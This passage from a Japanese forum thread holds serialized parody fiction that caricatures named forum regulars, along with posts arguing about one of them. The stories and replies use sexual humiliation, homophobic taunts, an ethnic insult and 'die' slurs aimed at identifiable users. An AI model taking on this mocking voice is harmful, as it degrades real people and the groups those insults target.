吉田「おそらくな。捕まってその後で尋問を受け、そこで喋ったんだろう。」
コヴァ「ど、どうしましょうか…」
鳥坂「行くに決まってんだろ?管理センターという事は敵の中枢だ。そこを叩けば
キャンプ内が混乱するかもしれない。そうすれば、林間たちを助けられる可能性もある。」

三人は管理センター内に入った。そして倉庫には天井に縄で吊り下げられた肝井がいた。
コヴァ「こ、これは一体…」
目の前に鞭を持った看守がいる。
看守「おとなしく降伏しなさい。この子のことをちゃんと考えてるならね。」
吉田「千葉は?」
看守「別のところにいるわ。さぁ、さっさと身に着けているものを全てその場に捨てなさい。
この子が痛い目にあってほしくなければ」
コヴァ「なんだ、だったらべつにかまいませんにょ。やれるもんならやればいいですにょ。」
看守「何だと!こっちは本気だぞ!後悔するな、この雄豚!!!」
看守が鞭を振るって肝井を思いっきりひっぱたく。
肝井「うっ!気持ちいい!もう一回(はぁと」
看守「な、何!?やせ我慢してるのか?」
看守は数回、肝井を鞭でひっぱたく。
肝井「おおーーっ!!気持ちいいよぉぉーーーー!!!もっとひっぱたいてぇーーーー!!!
お願い!もう一回!!もう一回だけでいいから!!罵倒でもいいよ!!」
看守「な、な、な」
コヴァ「どうやらお前たちはキモ味の性癖について知らないようでしゅね。
キモ味は真性の『マ ゾ』ですにょ!そんな、鞭でひっぱたくなんてものが
効くはずありませんにょ!!変態のキモ味にとってはむしろ快感なんですつ!!」
看守「く、くそ!逃げろ!!」

237 :コヴァの奇妙な冒険:2006/10/19(木) 18:06:43 ID:paBDCMAT
肝井「はぁはぁ…木場君助かったよ…でも、ボクをマゾ呼ばわりしないでほしいな!!
ボクはツンデレ好きであってマゾじゃないし!!ツンデレ知らないのか?薄いな!!」
吉田「あれのどこにデレがあったんだ?どうみてもマゾにしか見えんぞ」
肝井「え、だから、さっきボクをひっぱたいたお姉さんの瞳の奥に暖かいものが…」
コヴァ「そういうのは妄想というんですにょ。まったく、物事を自分の都合のよいように
捻じ曲げるのが好きなんですから。ボクチンから見たらキモ味はマゾにしか見えませんにょ。」
肝井「マゾじゃない!マゾじゃない!謝罪しろ!!謝れ!!一般人ならツンデレ好きが当然!!」
鳥坂「まぁまぁ、こんなところで仲間割れしててもしょうがないわい。
それよりも、ジバクを助けに行こうや。」
管理棟内に侵入した3人に肝井を加えた四人は施設の奥に一部屋ずつ調べながら進んでいく。
途中、何人かの看守が彼らに襲い掛かったが、それらは鳥坂と吉田が格闘技の技を使ったり、
コヴァが相撲の技を使ったり(以前相撲部の慰み者にされたときに覚えたらしい)、
肝井がポークビッツを見せてそれを見た者をPTSDにしたりして、確実に前進していった。
ミギャー
千葉独特のファー様風味の叫び声が聞こえてくる。四人はその叫び声のした部屋に行った。
看守が千葉を羽交い絞めにし、スタンガンを突きつけている。
看守「寄るな!寄るな!こいつがひどい目に合わされたくなければこいつを見捨てろ!!」
肝井「木場君!!帰るなんていわないでよ!」
コヴァ「もちろんですにょ。やれるものならやってみればいいですにょ。」
看守がスタンガンの電源を入れ、スタンガンを押し当てた。
ぱしっ ぱしっ
看守は何回もスタンガンを千葉に当てるが、ケロリとしている。
看守「おかしいわね…電池でも切れてるのかしら…」
看守はそう言いながら自分にスタンガンを押し当ててみた。

ぎゃあああーーーーーーーーっ!!!!

すさまじい叫び声とともに看守は気を失った。
千葉「おや、勝手に倒れおった。」
吉田「ジバク…お前本当に人間か?宇宙人じゃないのか?」

238 :コヴァの奇妙な冒険:2006/10/19(木) 18:13:00 ID:paBDCMAT
第八話 猥・戦士

管理棟でコヴァたちが暴れているうちに看守たちは
コヴァたちと戦うのに気をとられ、入所者たちの監視が疎かになっていた。
林間は甑とかつて「天災勝ち組養成塾」を運営していた
天災 新居人(てんさい にいと)と、中齢部(26歳以上〜30歳未満)
の入所者で群馬の箪笥市に住んでいた
村木 成男(むらき なるお 28歳)、通称NARUと組み、
施設からの脱出を図ろうとしていた。
NARU「あれ?。看守の女の子たちがいつの間にか少なくなっているのでね。(^^;)
今が逃げ出すチャンスというわけなんだ。」
林間「よし!野郎どもつづけええええ!!!1!」
作業を放棄して管理棟近くの正門に向けて歩き出す四人。
しかし、数が大きく減ったとはいえ、まだまだ看守は残っていた。
林間たちの行動に気がついた看守の一人が林間たちを追う。
そして看守は森の中の道で林間たちに追いついた。男とは言え、
たかがニート、自分ひとりでも大丈夫…彼女はそう思っていた。
看守「そこの四人、すぐに作業場に戻りなさい!今なら罰は与えない!!」
看守の方を向いた四人の目は獣の目だった。
この看守は、美人の上プロポーションもすばらしい女性だった。
しかし、相手をしたのがこの四人の変態だったのは彼女にとって最悪だった。
林間はご存知のようにヴァルキリー男である。
甑の場合はかつてネットで知り合った中学1年生(実はネカマ)に欲情し、
求婚まで行い、それ以外にも知り合った女性という女性に「結婚しよう」とほざき、
高校時代に好きな女子がトイレに入ったのを見計らってトイレに侵入、
そこでポークビッツいじりを開始して退学をくらった筋金入りの変態である。
NARUにしても、愛読書は「二人セクロス」というエロ漫画だし、デート=即セクロス
と考え初デート(ネカマとのデート)の際にコンドーム2箱持ってくるという
一般人には到底理解しがたい感覚の持ち主である。
天災の方は三人に比べれば性癖はまともな方だが、ポークビッツいじりすら禁じられている
この施設での生活で彼の三大欲求はすっかり変調をきたし、
他の三人と全く変わらぬ性欲の塊になっていた。

239 :コヴァの奇妙な冒険:2006/10/19(木) 18:15:07 ID:paBDCMAT
甑「き!君が好きです!!僕んち来て一緒にときメモしよーよー!!!」
NARU「ぼぼぼ、僕と付き合ってほしいのでね。(^−^)
デートの際の食事はマックぐらいならおごってあげるけど、
ホテル代は割り勘なのでね。(U−U;) あと、うちに来てくれたら、
エヴァとナデシコのビデオを見せてあげるよ。アニメファンなのでね。」
天災「い、いい女だ!!美しい!!!お前がほしい!!!」
林間「ボクのヴァルキリーになってください!!!!1!1!1」
看守「うおおおおっ!!近寄るんじゃあねーわよッ!!!!」
看守はたまらずその場から逃げ出した。
林間「ああん、まって、ヴァルたーん!!せめてボクのことを『デューク』と呼んでーー!」
天災「俺の妻になれぇぇえええ!!そして共に俗世間からエクソダスしよう!!!!」
NARU「わかったよ!!。だったら何とか努力してモスバーガーにするからさーー!!。
いや、死ぬ気でホテル代全額出す!!。」
甑「ゆーか!。ゆーかちゃん!!。」
看守は逃げ出してしまった。四人はがっかりしながら正門に向けて進んでいった。
コヴァたちは管理棟を出て正門前に行き、正門を開けた。
吉田「これで良しと。鳥坂、ここはお前とコヴァで確保しといてくれないか?
俺とキモ味とジバクは林間先生を探しに行く。」
コヴァ「いや、もうその必要は無いようですにょ。あれ…」
森の方から林間たちがやってくる。
林間「おおーーっ!肝井!千葉!…それにコヴァと吉田と鳥坂?」
コヴァ「林間先生!!」
林間「もしかして…俺を助けに来たのか?」
肝井「そうだよもん。ボクも木場君も千葉君も吉田君も鳥坂君も
みんな林間先生を助けるためにここに来たんだよもん。」
林間「…ア、アンチコヴァに助けられるなんてしゃくにさわるが、
とりあえず礼だけ言っておく。い、いいか!!これで内申点がよくなるとか、
テスト免除になるとか考えるなよ!!」
肝井「うぐぅ、林間先生ツンデレだー!エイトプリンスに帰ったらボクとデートしよ」
林間「うっせこのホモ!!とっとと氏ね!!!」
その時、管理棟から二つの人影が現れた。
                                           (続く)

240 :名無しかましてよかですか?:2006/10/19(木) 18:34:36 ID:Ph4JbIYG
ID:paBDCMAT はよほどホモが好きなんだなw
普通、いくら小説とはいえ、ホモなんて登場させないからな。
気持ち悪い! 

241 :名無しかましてよかですか?:2006/10/19(木) 18:44:35 ID:x2neOdq0
>>240
お前がモデルだが?何年もコテハンをストーカーしたり、
自分や相手を女性化して妄想してりゃ、誰だってお前の事をホモだと思いたくなるわ。
ネタにされたくなけりゃ、そういうキモい行為はさっさとやめようね

242 :コヴァの奇妙な冒険:2006/10/20(金) 00:08:07 ID:ej2y2reV
第九話 悪叉駄親子

その人影は悪叉駄親子だった。
悪叉駄ユリコは鬼のような形相でこちらに近づいてくる。
娘の悪叉駄ユリは母親のように感情を表に出してはいなかったが、
静かな怒りを感じた。また、以前はツインテールだった髪の毛は
首までの長さになっていた。
千葉「おおお〜、ユリ殿、失恋でもしたのかの?おかわいそうに。
わしの第三夫人にしてやるので、恋など忘れるとよいのじゃよ。」
ユリ「そんなんじゃないわよバカ!あんたいつの時代の人間よ!!
殺してやる!!今日こそ殺してやる!千葉ヒサユキ!!」
悪叉駄「このクソ雄豚どもがぁ〜!よくも私の施設をめちゃくちゃにしてくれたな!
無傷で帰れると思っているのか、このクソ壷野郎が!!
農場の牛のケツの穴に順番にその腐ったド頭突っ込んで殺してやる!!!」
ユリ「お母さん、ここは任せて。…あなたたちはお母さんの志を
めちゃくちゃにしてくれた!!許せない!!」
コヴァ「おっと!昔話はそこまで。そもそも、事の始まりは林間先生をさらった
あなた方が悪いんですつ。林間先生の言い分を聞いて海武学園に連絡をとって
林間先生が海武学園の教師であることをなぜ確認してくれなかったんでしゅか!」
悪叉駄「し、知らない…取り調べたのは私の部下だ…私にはせきに…むぐっ」
悪叉駄はそこまで言いかけてそのあとの言葉を飲み込んだ。
悪叉駄「たしかに部下の責任は私の責任だ…
林間氏の件については心からのお詫びを申し上げる。
だが、貴様たちはこの施設に無断侵入し、私の大事な職員を多数怪我させ、
汚らしいネズミのより小さい粗チンを見せて心の傷を負わせた!」
肝井「汚くないもん!!きれいだもん!!それに…そんなに小さくないし!!謝罪しろ!!」
悪叉駄「黙れ!!そうか…お前か…体の傷はすぐに治るが、心の傷はなかなか治らん。
よし、後で他の連中の三倍痛めつけてやる。このファッキン野郎め。」
悪叉駄の一喝で肝井は失禁した。

243 :コヴァの奇妙な冒険:2006/10/20(金) 00:11:46 ID:ej2y2reV
悪叉駄「それとそこの三人!!この施設から逃げおおせると思うのか?」
悪叉駄はNARU、甑、天災の三人を睨みつけて厳しい口調で言った。
NARU「ぼ、僕は箪笥市に帰ったら真面目に働くのでね。昔は鉄道ライター兼カメラマンを
目指してたけど、もうやめるのでね。(U−U;)本当なのでね。
だから母さんのいる家に帰してほしいというわけなんだ。(T−T;)」
甑「わ、私も地元に帰って何とか就職先を見つけますわ…る」
天災「本当は通俗的社会に戻るのは吐き気が催すほど嫌だが、仕方がないので働くさ…」
悪叉駄「ふん、白々しい嘘を!!貴様らニートが自発的に今から働きますと言って
働いたことがあるか?その場限りの言い訳だろうが!!
この、パパの精液がシーツのシミになり、ママの割れ目に残ったカスから産まれたカス人間が!
とにかく、貴様らには処罰を与えねばな。ユリ、やれ!」
ユリ「はい。」
ユリは腰の電斬丸を抜くと目に留まらぬ速さで三人を切り、刀を元の鞘に戻した。
NARU「うう〜もういじめないでよぉ〜〜悪いのは2ちゃんねらーだよぉ〜〜ママー!ママー!」
甑「うう〜ん。ボクは女の子と仲良くしたいだけなのに〜」
天災「ボク悪いことしてないよ〜」
林間「甑さん!天災先生!NARU!何をした!!」
コヴァ「あの、悪叉駄ユリと言う女の子の刀は、
デンパな部分だけ斬るというオカルトな刀ですにょ。」
悪叉駄「ふふふ、よし、ユリよ!一気に片をつけろ!順番はお前の好きにしろ!!」
ユリ「千葉ヒサユキ!14ヶ月の間、あたしはお前を討つ機会をじっと待っていた。
この短い髪はお前を討つという悲願を果たすための願掛けよ!!
14ヶ月前のあの日、あたしはお前を討つまで大好きなロングヘアーを
やめることを誓い、髪を切ったの!!」
千葉「おお、ユリ殿。やはりわしのことを愛していてくれたのじゃのう
どうやらわしらは結ばれる運命にあるようなのじゃよ。」
ユリ「もう一度その妄想盛りだくさんな下衆な台詞を吐いてみろ!!
千葉ヒサユキ…殺してやる!!殺してやるわッッ!!」
ユリが電斬丸を抜いて千葉に一直線に突っ込んでくる。
千葉はゴキブリのソウルが乗り移ったかのようにすぺぺぺぺぺと逃げ出す。
逃げれば逃げるほどユリもますます意地になって千葉を追いかけた。

244 :コヴァの奇妙な冒険:2006/10/20(金) 00:14:03 ID:ej2y2reV
第十話 意外な結末

それから小一時間、ユリと千葉は鬼ごっこを続けた。そして、
千葉がユリの正面を通りすぎようとして急に進路をユリの方に変え、
ジャンプして思いっきり飛びついて来た。

バッシーーンッッ!!!

ユリが下、千葉が上になって倒れていた。
千葉「やっと一つになれたのじゃよ。今から愛を育むのじゃよ。」
千葉がユリにキスをしようと口を近づけてくる。ユリは千葉の頭を掴んで必死に抵抗した。
ユリ「離せ!!この!!離せってば!!やめて!!呪ってやるわよ!!」
電斬丸がユリの手から離れている。それを見た吉田、コヴァ、鳥坂、悪叉駄は
電斬丸に群がった。電斬丸を手にしたのは、距離的に一番近かった吉田だった。
吉田「近づくな!悪叉駄!!あんたの娘以外の人間がこれを使ったらどうなるか知らんが、
俺たちがここから撤退するまで手を出すな」
悪叉駄「その刀を返せ!!その刀の力を貴様らに使わすわけにはいかない!!」
吉田「…なるほど。俺たちが使っても効果ありってわけか…ユリにしか使えない刀なら
『この力を貴様らに使わせるわけにはいかない』なんて言わないもんな。
それと『使わせる』って、誰に対して言っているんだい?まさかあんたか?」
悪叉駄「…私の秘密をよく見破ったな!!吉田繁!!だが、やられはせんぞ。
この女の評判を地に落とすまではな!!」
吉田「この女?…おい…何か変な物に憑かれてないか?悪叉駄ユリコ…よしっ、この電斬丸で…」
ユリ「私に貸して」
千葉のの呪縛をといたユリが吉田に言った。
その傍らには顔面血まみれの千葉が横たわっていた。
コヴァ「あのー、いちおう主役はボクチンなんですけど…」
林間「全くけしからん!!事実上の主人公は俺だろうがかんしゃくおこす!!1!!」
肝井「違う違う。この物語は本来はシンジ君似の肝井味平が理系たんと
ラブラブになる設定のお話なのに…」
コヴァ&林間「お前の妄想は聞いてねえ!!市ね!!!!」
肝井「うぐぅ」

245 :コヴァの奇妙な冒険:2006/10/20(金) 00:15:39 ID:ej2y2reV
ユリ「貴方が使っちゃだめ。貴方が使ったらお母様の肉体ごと傷付けちゃうわ。
この刀の性能を100%引き出せるのは気の斬り方を学んだ私だけよ。」
吉田「…わかった。」
吉田から刀を受け取ったユリは目を閉じて精神を集中させた。
悪叉駄「や、やめろ!ユリ!私を討つな!!あ〜!やめてくれぇ〜!!」
ユリは目を開けると、すごいスピードで悪叉駄との間を詰めた。そして一閃。
あまりの眩しさにみんな目を閉じた。そして閃光が静まり、みんなが目を開けると、
ユリの傍らに悪叉駄が倒れていた。悪叉駄の体からどす黒い気が逃げていくのが、
誰の目からも見えた。そしてしばらくして、悪叉駄が目を覚ました。
悪叉駄「ユリ…わ、私は一体何を…」
ユリ「もう全部片付いたわ。それとみんな聞いて。さっきの黒い気を斬った時、
あの気の正体がわかったわ。あの気は、
お母さんに更正された元ニートの人たちの残した怨念よ。
お母さんはとても優れたニート更正師で、今までに何百人、何千人のニートを
社会復帰させるのに成功してきた。でも、その中にはお母さんに歯向かう人もいて、
お母さんはそういう人には容赦なくビンタなどを叩き込んでいた。
その人たちが社会復帰するたびにうちの『ニート開発センター』つまり、
実家である名古屋にあるこの施設の前身なんだけど、
そこに少しづつ怨念を溜め込んでいったのよ。
そしてその怨念の集合体がお母さんの心の中に侵入できるようになったとき、
怨念はお母さんの心に入り、そして日に日にお母さんの心を蝕んでいった。
正直、私もお母さんの変貌はおかしいとは思っていたけど、
お母さんの考えならってことで何も言わなかった。
そして怨念に心をのっとられたお母さんは、神戸に移ってここ、
菊水一号山に大規模なニート収容所を作った。
怨念は、おそらくここを現代のナチの収容所みたいな所にして
お母さんの評判を叩き落そうとしてたんだと思うわ。」
悪叉駄「私が怨念に心をのっとられるなんて…ユリ、ごめんなさい。
そして皆さん、ごめんなさい。私にもう少し心の強さがあれば…
私はもう、ニート更正師をやめるわ」

246 :コヴァの奇妙な冒険:2006/10/20(金) 00:18:05 ID:ej2y2reV
ユリ「お母さん、何てこと言うのよ!!
お母さんはニートの人たちによく言い聞かせていたわよね。
『やる気さえあれば人生は何度でもやり直せる』って!!
お母さん、もう一度やり直しましょうよ!!このまま逃げちゃダメよ!!」
悪叉駄「お母さんが悪かったわ。ユリ、ここを閉鎖して名古屋に戻りましょう。
名古屋でもう一度はじめからやり直しましょ。」

そして、コヴァ、吉田、鳥坂、肝井、千葉、林間の六人は帰ることにした。
悪叉駄&ユリ「皆さん、ご迷惑をおかけして申し訳ございませんでした。」
ユリ「本当は千葉ヒサユキ、肝井味平、林間カヅフサを斬りたかったけど、
今回は見逃してあげるわ。吉田君がお母さんに取り付いている
怨念を見破ったお礼よ!」
肝井「うぐぅ、ユリたんってツンデレなんだね。
ボクとデートしよーよータイヤキ一緒に食べよー」
千葉「そんなことよりわしの第三夫人になるという話じゃが…」
ユリ「ゴタゴタ言ってないでとっとと帰れ!!今すぐたたっ斬るわよ!!!」
その時、彼らのいる正門に黄色い救急車がやってきた。中から月宮、ヨシダが降りてきた。
月宮「よぅ、お前ら、その明るい様子やと事件は終わったようやねー。
今から帰るんなら、乗せてってあげるで。もっとも人数が多いから神戸の町までやけど。」
コヴァ「お願いしますにょ。」
六人は黄色い救急車に乗り込み、救急車は元・ニート更正キャンプを走り去って行った。
                                                    (完)

247 :名無しかましてよかですか?:2006/10/20(金) 21:40:09 ID:6JqPP56K
>>241
小説にホモを登場させただけで
その作者はホモだと言うやつに何言っても無駄。

だけどボクチンは自分を女性化して
男コテハンとカップルになるキモイ妄想を垂れ流しても
ホモじゃないと主張するんだからどうしようもない。


248 :名無しかましてよかですか?:2006/10/20(金) 21:43:28 ID:an+INqDW
女性化しているんだから問題ないじゃんwwww
小説と現実を混同するなwww
それに、モニターの向こうに美少女がいないとも限らないwww


249 :元ネタ:とある古いCM:2006/10/20(金) 22:16:13 ID:dGl4fUuw
薄い 薄い 薄い キモ味
キモい キモい キモい キモ味
エロい エロい エロい キモ味

みんな みんな みんな キモ味

250 :名無しかましてよかですか?:2006/10/20(金) 22:17:46 ID:ej2y2reV
>>248
だからそういう妄想はおめーの脳内でやってろやバカが。

ああ、こんな奴が同じ長野に住んでると思いたくない…

251 :名無しかましてよかですか?:2006/10/20(金) 22:21:23 ID:6JqPP56K
>>241
普通、いくら小説とはいえ、ホモなんて登場させないからな。

>>248
小説と現実を混同するなwww
---
はい、セルフ論破完成。

後はネットやめていつまでも自分自身で論争しあってな

252 :名無しかましてよかですか?:2006/10/21(土) 03:11:39 ID:nmvW6I+/
まあなんにしろ長編執筆マジおつ
それにしても甑やNARUまで出てくるとは・・・w

253 :名無しかましてよかですか?:2006/10/21(土) 09:09:04 ID:FEAnzfKt
当然
(つ∀`)

254 :名無しかましてよかですか?:2006/10/21(土) 11:45:55 ID:YQGcdA11
>>251
ホモキャラなんてよくあるよな。しかも目の前にホモ丸出しな奴がいればなおさらネタにする。

逆に自分を女性化して男とラブラブさせる小説なんか書いたらそりゃホモ疑惑沸くよ。
しかも小説とは名ばかりで
他のスレでもストーカーする材料に使っている。
単なる自分の願望ただ漏れ名だけなんだよな。

正にセルフ(だけ)論破だな。

255 :名無しかましてよかですか?:2006/10/21(土) 11:56:27 ID:gIH7E0+8
>>254

>ホモキャラなんてよくあるよな。ちょwwww よくあるなんてキモイなwwwww
だいたい、ぼくは対オタクコンタクト用情報生命体だから、
電子情報の中では性別は関係ないwwwwwwwwwww


256 :名無しかましてよかですか?:2006/10/21(土) 12:11:25 ID:9BWCzTTF
>>255
そもそも電子情報の世界でもそういうキモいことしてでも
かまってもらおうとする時点でキモ味は救いようの無い変態。

257 :名無しかましてよかですか?:2006/10/21(土) 12:16:56 ID:gIH7E0+8
>>256
だって、寂しいんだもん。うぐぅ。

258 :名無しかましてよかですか?:2006/10/21(土) 12:28:30 ID:9BWCzTTF
>>257
寂しかったら現実に友達でも作るか、それとも他板に行って同志でも作れば?
人に迷惑かけてかまって貰おうなんて人間のクズの考えだぞ。

259 :名無しかましてよかですか?:2006/10/21(土) 12:47:23 ID:YQGcdA11
>>256
そうなんだよな。
みんながそういうキモい行為をしているキモ味をみて
キモ味=ホモ
ってキャラが確立されただけなんだ。自分か行った行為の適切な評価ぐらい受け入れろってんだ。
それもこのスレだって電子媒体でやっていること何だから『ホモ扱いされても』関係ないんじゃないのか?


そもそも性別関係ないならわざわざ女性化する必要もないわけで…

なんつーか、自分のわがままだけ通すための詭弁だから歪みに歪んで訳分からん論理になってるな

260 :名無しかましてよかですか?:2006/10/23(月) 23:01:41 ID:pcwQRXd4
現実世界で無視されている存在だから、唯一、気にかけてくれる
(職人はキャラとして扱っているだけなのだが)ここが気になるんでしょう。

261 :名無しかましてよかですか?:2006/10/24(火) 18:36:02 ID:+PQywEVi
ボクはみんなのアイドルなんだよ!
キモちゃんは人気ものだよもん!

262 :元祖ナショナリスト ◆jgMo7T56/. :2006/10/24(火) 19:29:27 ID:9AhLqhAA
もしかして、キモ助は元々オタクじゃなかったんじゃないのか?
流行りものに疎いし、それこそ「いまさら」感のあるものばかりだ。
最近はデスノートね。

独り傷心だったところを、エヴァか鍵やハルヒとかデスノに出会って感銘を受けたと。

「みなさんオタク知識がおありなんですね」
というくだりも、己れが如何に世間の情報から隔離されているかの如実なる表われだと。

信州だから情報が遅いというのは関係ない。

ホントに元々世間一般の人だったと思うよ。
しかし、それこそ己が周りとは違うのではないのかということに気付き始めた時には、周りの方から避けてったのだと思うよ。

「バイト先はDQN」というのも、自らが省かれたという現実を認めたくないという裏っ返しなんだと思う。

263 :名無しかましてよかですか?:2006/10/24(火) 20:46:55 ID:ZRKTEwh+
型遅れのアニメとエロゲーで癒されて、流行の少年漫画で気持ちよくなって、
2chで擦り寄って寂しさを紛らわすネット生命体って一体・・・・・・・。

リアルで友達作れよ・・・・取り合えず。


264 :名無しかましてよかですか?:2006/10/25(水) 00:15:37 ID:FARq47FR
キモ味のEVAや鍵などにはまる様をリアルタイムでみると。

なんでヲタ趣味の奴にはイタい人間が多いか判った気がする。

ヲタ趣味を持つからイタいんじゃなく、
社会から孤立してイタい人間が、手を出しやすい持ちやすい趣味だからなんだな。


265 :名無しかましてよかですか?:2006/10/25(水) 12:24:04 ID:bFApf8wB
作品中でただの目くらましにしか過ぎない
専門的なウンチクが出てくるだけで
ありがたがる人っているよねえ。

266 :元祖ナショナリスト ◆jgMo7T56/. :2006/10/25(水) 16:52:19 ID:5FDbtPil
くりぃむ上田の蘊蓄と一緒だな。
その点伊集院光は蘊蓄の他に頭良さそうだけど。

267 :元祖ナショナリスト ◆jgMo7T56/. :2006/10/25(水) 16:57:26 ID:5FDbtPil
>>265
好きでオタクやってるんじゃなく、知らぬ間にオタクやっていたという名言があるくらいだ。
だから、自分はオタクではないと言い切るんだと思う。そうした自覚なんてないもん。
孤立していることも、自分が他人とは違うということも。

268 :元祖ナショナリスト ◆jgMo7T56/. :2006/10/25(水) 16:59:09 ID:5FDbtPil
265じゃなく、>>264へのレスです。


269 :林間の同窓会:2006/10/26(木) 09:56:07 ID:cOOO9Gk3
これも林間が大阪にいた頃の出来事

比良方駅前、臼木屋。十人ほどの男女が集まっている。
「かんぱーーーーい」
比良方産業大学千田ミノルゼミの同窓会であった。
「な、高槻は今なにしてるん?」
「プログラマーや、まあ、ゲーム好きだから良いけどな、そういう池田は」
「何とか親父のコネで役場入ったわ」
「へえ、池田君真面目だったもんね」
「そういう長野はどうした」
「もう結婚しちゃった。旦那は保険会社で関学卒」
「おー、それならええやん」
「えーと、こっちになんこつ揚げー」
「そういえば来てない向日町と川西は?」
「向日町は派遣のコーデネーターだから無理やろ。川西は労金入ったけど
兵庫の北の方に飛ばされたらしいわ」
「布施はコピー機営業だっけ」
「まあな、正直しんどい。橋本は確か・・・」
「証券入ったけど辞めて、今はバイトしながらデートレやってる。まあ、最近環境が
良くなってきたからもうちょいすればラクに・・・」
しかし、彼らは「あの男」のことを忘れていた。そう、ゼミ時代、やたら教授に気に入られていて
実質千田とヤツの二人ゼミになっていたアイツのことを・・・。
そして
「ふう、間に合ったな諸君」
居酒屋にやたら偉そうに入ってきた男。それが3年前の林間カズフサであった。

270 :林間の同窓会:2006/10/26(木) 09:57:15 ID:cOOO9Gk3
大学時代、やる気のないゼミだと知って入ってきた他のメンバーと、林間の間には
とてつもない差があった。しかも、当時サヨクだった林間はむやみに保守である
千田に噛みつき険悪な状態であった。
しかし、ある時から何故か千田は林間に「黄金の素質」なるものを見抜き、やたら
誉めあげるようになってみなのやる気は更に削がれた。
その、張本人が来たのだ。
「やあやあ、知的文化人の私が来ましたよ!!11!」
「なー、こっちに豆腐サラダー」「ビールジョッキで頼んでええ?」
当然みんなは「見なかったこと」にした。しかし
「ええい、知的文化人でエリートの私が来たのに配慮も尊敬もなにもないのか
かんしゃくおこす!11!!!!」
あまりにかんしゃくをおこす林間に見かねて、一人が意を決して近づいていく。
「・・・林間?」
「ああ、私こそが千田ミノルの一番弟子である林間カヅフサだ!!1」
「んー、分かったから帰って」
「なんだと私がいなければどうせ女と車と酒と仕事のグチしか言えないクセに!1!!
千田教授の高邁な理想を受け継ぐ・・・」
林間の演説が始まってしまった。学生時代から林間はこうだった。居酒屋でわいわい
やってると意味不明な本人にしか分からない演説をブチ始め、それを恍惚の表情で
見つめる老教授という地獄が毎回繰り返されたのだ。四年になるとそれこそゼミごとに
「・・・だから我々は保守として・・・」
「なあ、林間。それはええとしてアンタ今何やってるん?」
林間に一人突っ込んだ。林間の耳がぴくりと動く
「私は今でも学究生活をしている」
「じゃあ院にいたり、大学で教えてるの?」
「いや、私の才能に嫉妬を覚えた指導教官によって、私は学会を追われた」

271 :ボクが嫌われるのは誰のせい?:2006/10/26(木) 09:57:35 ID:s/5dnx0V
林間「かんしゃくおこす!1!!!1!かんしゃくおこすぅぅぅうぅぅぅう!11!!!123」
コヴァ「またでしゅか…」
いつもの政経の時間、林間がいつものように吉田に絡み、
そして反論されてファビョっていた。
鳥坂「いいかげん、吉田に絡むのはやめたらどうですか?林間先生」
林間「お前は黙ってろ!!1!!こいつを増長させるわけにはいかんのだ!11!!」
コヴァ「吉田君は別に増長してないと思いましゅが…」
吉田「そもそも、林間先生が俺にけんかを売るからいけないんですよ。
けんかを売らなきゃ…」
林間「なんだその上からの物言いは!11!!俺をバカにしてるのか1!1!!
俺は教師だぞ!!!1!俺はお前らの倍生きているんだぞ偉いんだぞ1!!!」
千葉「林間先生、わしの名フレーズをパクらないでほしいのじゃよ。朝鮮人なのかの?」
鳥坂「何で林間先生はそんなに吉田に執着してんですか?
この学校に赴任してきた半年前から、ずっとずっと吉田に粘着しているなんて
明らかに異常ですよ。もしかしてホモですか?(嘲笑)」
林間「肝井の野郎と一緒にすんなかんしゃくおこす1!!!1!」
肝井「はぁ?ボクはホモじゃないし!!むしろ鳥坂君と吉田君と木場君の三人は
仲がいいから吉田君たちこそホモなんだろwwwwwwwwwwwwwwwwwwwww」
林間「俺はな、吉田と会ってからいいことがねーんだよ!!1!!1!
2chの『僕らは何処へ行くのか』スレでは俺を評価してくれた白鳩金元帥と千念和尚が
いなくなるし、軍事板では烏阪の野郎がアニメ作っているキモヲタの分際で幸せそうに
雑談しているし、これまたキモヲタの低脳痴呆公立大学生のティキティキバンバンが
スレ住人からもてはやされているし、リアルでは何か税務署が税金払えって言ってくるし、
モテないし、髪の毛薄くなったし、パパンママンからオコヅカイ貰えなくなったし…」
鳥坂「えーと、ぜんぜん吉田と関係ない気がするのは俺だけでしょうか」
コヴァ「こりゃひどいですにょ。かつてのボクチンの名言『鎌倉幕府はサヨク』並みの
むちゃくちゃなこじつけですにょ。」
林間「いいや、全部吉田が悪い!!!1!あとついでに吉田と仲良くしている
鳥坂やコヴァなどの吉田の眷属も同罪だな!1!!
お前らまとめてみんな氏ね!!1!!」

272 :林間の同窓会:2006/10/26(木) 09:58:07 ID:cOOO9Gk3
「学会を追われたって・・・」
皆の脳内に、「それはないだろう」という文字がよぎる。まあ、実際前スレ見れば分かるけど
林間はナニワ大の椎名教授への壮絶な嫌がらせによって大学院を除籍され、それこそこの
当時は毎日のようにエロゲをやっていた頃である。ロマ剣辺りを
「よって、私は学会を追われた悲劇の研究者として・・・」
「なあ、あんさんただのプーやろ?」
「プーとか失礼なことを言うな!私は優秀な在野の政治思想研究家として・・・」
その時だった。意外な人物が居酒屋に入ってきて、林間の腕をガシと掴んだ。
「あー、私大阪府警の鈴木っていうんだけど、ちょっと来てくれないかなあ・・・」
「な、いきなり何をするんだ!私はこの愚かなモノ達へ・・・」
「さっきね、金髪の外国人の女の子にイタズラしようとした不審者がいてねえ、親が来て
逃げたんだけど、そこに「林間カヅフサ」と名前が書かれたこんなのが落ちていて・・・」
警察官は「林間カヅフサ」と名前の書かれた「戦争論2」を見せた。
ゴゴゴゴゴゴゴゴゴゴゴゴ
「でね、女の子のお爺さんである元アメリカ海兵隊のハートマンさんが是非会いたいって・・・」
警察官に強引に引きずられていく林間
「わー、官憲横暴ー。アメリカ軍の手先になったのかー。日本の警察はー。だから
日米安保条約は見直さなければー」
「うっさい死ね」
ごす
林間は警官に鳩尾に一発入れられて気を失った。
「では、市民のご協力、ありがとうございました」
警官は一礼すると林間を外に連れて行った。外からは嫌な音がするが気にしてはいけない。

「なあ、みんな、飲み直そうか」

273 :ボクが嫌われるのは誰のせい?:2006/10/26(木) 09:58:22 ID:s/5dnx0V
クラス中から「俺が吉田君の眷属?」「眷属ってそもそも従者とか家来の意味だろ、
俺、吉田の手下になった覚えねーけどなぁw」といった声がちらほら聞こえる。
コヴァ「責任転嫁ここに極まれりでしゅね」
林間「コヴァ!111!何だその言い方は!1!!!
それじゃ俺に責任があるかのような言い方じゃねーか!111!」
コヴァ「本当のことじゃないでしゅか。さっき林間先生が挙げた事例の中に
吉田君と関係のあることが一つでもありましたか?むしろ、明らかに林間先生に
責任のある事例が多かったようでしゅが。」
林間「ううううううう」
吉田「俺としては本当に迷惑なんですが。『自分に都合の悪い事は全て相手のせい』
こういう考え方はさっさと捨てることをお勧めします。」
